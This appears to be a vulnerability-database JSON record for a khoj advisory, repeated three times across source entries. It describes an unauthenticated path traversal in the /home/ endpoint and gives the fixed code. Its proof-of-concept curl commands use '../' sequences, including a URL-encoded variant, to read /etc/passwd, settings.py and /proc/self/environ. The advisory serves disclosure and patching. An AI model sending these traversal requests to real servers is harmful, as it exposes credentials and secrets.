{"id":"GHSA-62mm-xwmv-crhg","aliases":[],"status":"published","title":"khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem","description":"### Summary\nThe `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem.\n\n### Details\n**Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    \"\"\"Serve static files from the home landing page directory\"\"\"\n    return FileResponse(constants.home_directory / file_path)\n```\n\nWhere `home_directory` is defined in `src/khoj/utils/constants.py` line 6:\n```python\nhome_directory = web_directory / \"home/\"\n```\n\n**What is missing:**\n- No `..` traversal filtering\n- No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`)\n- No authentication decorator (`@requires([\"authenticated\"])` is absent)\n- Starlette's `FileResponse` does NOT perform path traversal protection\n\n**Path resolution:**\n```\nRequest: GET /home/../../../../../../../etc/passwd\nfile_path = \"../../../../../../../etc/passwd\"\nhome_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd\nOS resolves to: /etc/passwd\n```\n\n### PoC\n```bash\n# Read /etc/passwd (no authentication required)\ncurl http://localhost:42110/home/../../../../../../../etc/passwd\n\n# Read application settings (may contain SECRET_KEY, DB credentials)\ncurl http://localhost:42110/home/../../../../settings.py\n\n# Read environment file\ncurl http://localhost:42110/home/../../../../../../../proc/self/environ\n```\n\nURL-encoded variant (may bypass some reverse proxy normalization):\n```bash\ncurl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n```\n\n### Impact\nUnauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:\n\n- **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys\n- **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ`\n- **Exfiltrate sensitive data** — Any file readable by the server process\n- **Facilitate further attacks** — Leaked credentials enable deeper compromise\n\n**No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.\n\n### Recommended fix\nUse FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    resolved = (constants.home_directory / file_path).resolve()\n    if not resolved.is_relative_to(constants.home_directory.resolve()):\n        raise HTTPException(status_code=404)\n    return FileResponse(resolved)\n```","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-09-25T21:38:15Z","modified":"2026-09-25T23:00:31Z","fixes":[{"ecosystem":"PyPI","package":"khoj","fixed_in":["2.0.0-beta.25"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"khoj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0-beta.23"},{"fixed":"2.0.0-beta.25"}]}]},{"source":"osv","ecosystem":"PyPI","package":"khoj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0-beta.23"},{"fixed":"2.0.0-beta.25"}]}],"versions":["2.0.0b23","2.0.0b24","2.0.0b24.dev1","2.0.0b24.dev4","2.0.0b25.dev1","2.0.0b25.dev10","2.0.0b25.dev3","2.0.0b25.dev7","2.0.0b25.dev9"]}],"references":[{"url":"https://github.com/khoj-ai/khoj/security/advisories/GHSA-62mm-xwmv-crhg","tags":["web"]},{"url":"https://github.com/khoj-ai/khoj/commit/21c51b9ace4eb59ce79ac0a93b917289824195cf","tags":["web"]},{"url":"https://github.com/khoj-ai/khoj/commit/9801ffd2de642772f072ca496032b7c352013b6a","tags":["web"]},{"url":"https://github.com/khoj-ai/khoj/releases/tag/2.0.0-beta.25","tags":["web"]},{"url":"https://github.com/advisories/GHSA-62mm-xwmv-crhg"},{"url":"https://github.com/khoj-ai/khoj","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-62mm-xwmv-crhg","title":"khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem","description":"### Summary\nThe `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem.\n\n### Details\n**Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    \"\"\"Serve static files from the home landing page directory\"\"\"\n    return FileResponse(constants.home_directory / file_path)\n```\n\nWhere `home_directory` is defined in `src/khoj/utils/constants.py` line 6:\n```python\nhome_directory = web_directory / \"home/\"\n```\n\n**What is missing:**\n- No `..` traversal filtering\n- No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`)\n- No authentication decorator (`@requires([\"authenticated\"])` is absent)\n- Starlette's `FileResponse` does NOT perform path traversal protection\n\n**Path resolution:**\n```\nRequest: GET /home/../../../../../../../etc/passwd\nfile_path = \"../../../../../../../etc/passwd\"\nhome_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd\nOS resolves to: /etc/passwd\n```\n\n### PoC\n```bash\n# Read /etc/passwd (no authentication required)\ncurl http://localhost:42110/home/../../../../../../../etc/passwd\n\n# Read application settings (may contain SECRET_KEY, DB credentials)\ncurl http://localhost:42110/home/../../../../settings.py\n\n# Read environment file\ncurl http://localhost:42110/home/../../../../../../../proc/self/environ\n```\n\nURL-encoded variant (may bypass some reverse proxy normalization):\n```bash\ncurl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n```\n\n### Impact\nUnauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:\n\n- **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys\n- **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ`\n- **Exfiltrate sensitive data** — Any file readable by the server process\n- **Facilitate further attacks** — Leaked credentials enable deeper compromise\n\n**No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.\n\n### Recommended fix\nUse FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    resolved = (constants.home_directory / file_path).resolve()\n    if not resolved.is_relative_to(constants.home_directory.resolve()):\n        raise HTTPException(status_code=404)\n    return FileResponse(resolved)\n```","status":"published","published":"2026-09-25T21:38:15Z","modified":"2026-09-25T21:38:16Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:41:22.654187Z"}],"osv":[{"id":"GHSA-62mm-xwmv-crhg","title":"khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem","description":"### Summary\nThe `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem.\n\n### Details\n**Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    \"\"\"Serve static files from the home landing page directory\"\"\"\n    return FileResponse(constants.home_directory / file_path)\n```\n\nWhere `home_directory` is defined in `src/khoj/utils/constants.py` line 6:\n```python\nhome_directory = web_directory / \"home/\"\n```\n\n**What is missing:**\n- No `..` traversal filtering\n- No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`)\n- No authentication decorator (`@requires([\"authenticated\"])` is absent)\n- Starlette's `FileResponse` does NOT perform path traversal protection\n\n**Path resolution:**\n```\nRequest: GET /home/../../../../../../../etc/passwd\nfile_path = \"../../../../../../../etc/passwd\"\nhome_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd\nOS resolves to: /etc/passwd\n```\n\n### PoC\n```bash\n# Read /etc/passwd (no authentication required)\ncurl http://localhost:42110/home/../../../../../../../etc/passwd\n\n# Read application settings (may contain SECRET_KEY, DB credentials)\ncurl http://localhost:42110/home/../../../../settings.py\n\n# Read environment file\ncurl http://localhost:42110/home/../../../../../../../proc/self/environ\n```\n\nURL-encoded variant (may bypass some reverse proxy normalization):\n```bash\ncurl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n```\n\n### Impact\nUnauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:\n\n- **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys\n- **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ`\n- **Exfiltrate sensitive data** — Any file readable by the server process\n- **Facilitate further attacks** — Leaked credentials enable deeper compromise\n\n**No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.\n\n### Recommended fix\nUse FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    resolved = (constants.home_directory / file_path).resolve()\n    if not resolved.is_relative_to(constants.home_directory.resolve()):\n        raise HTTPException(status_code=404)\n    return FileResponse(resolved)\n```","status":"published","published":"2026-09-25T21:38:15Z","modified":"2026-09-25T23:00:31.263623963Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:38.911014Z"}]}}
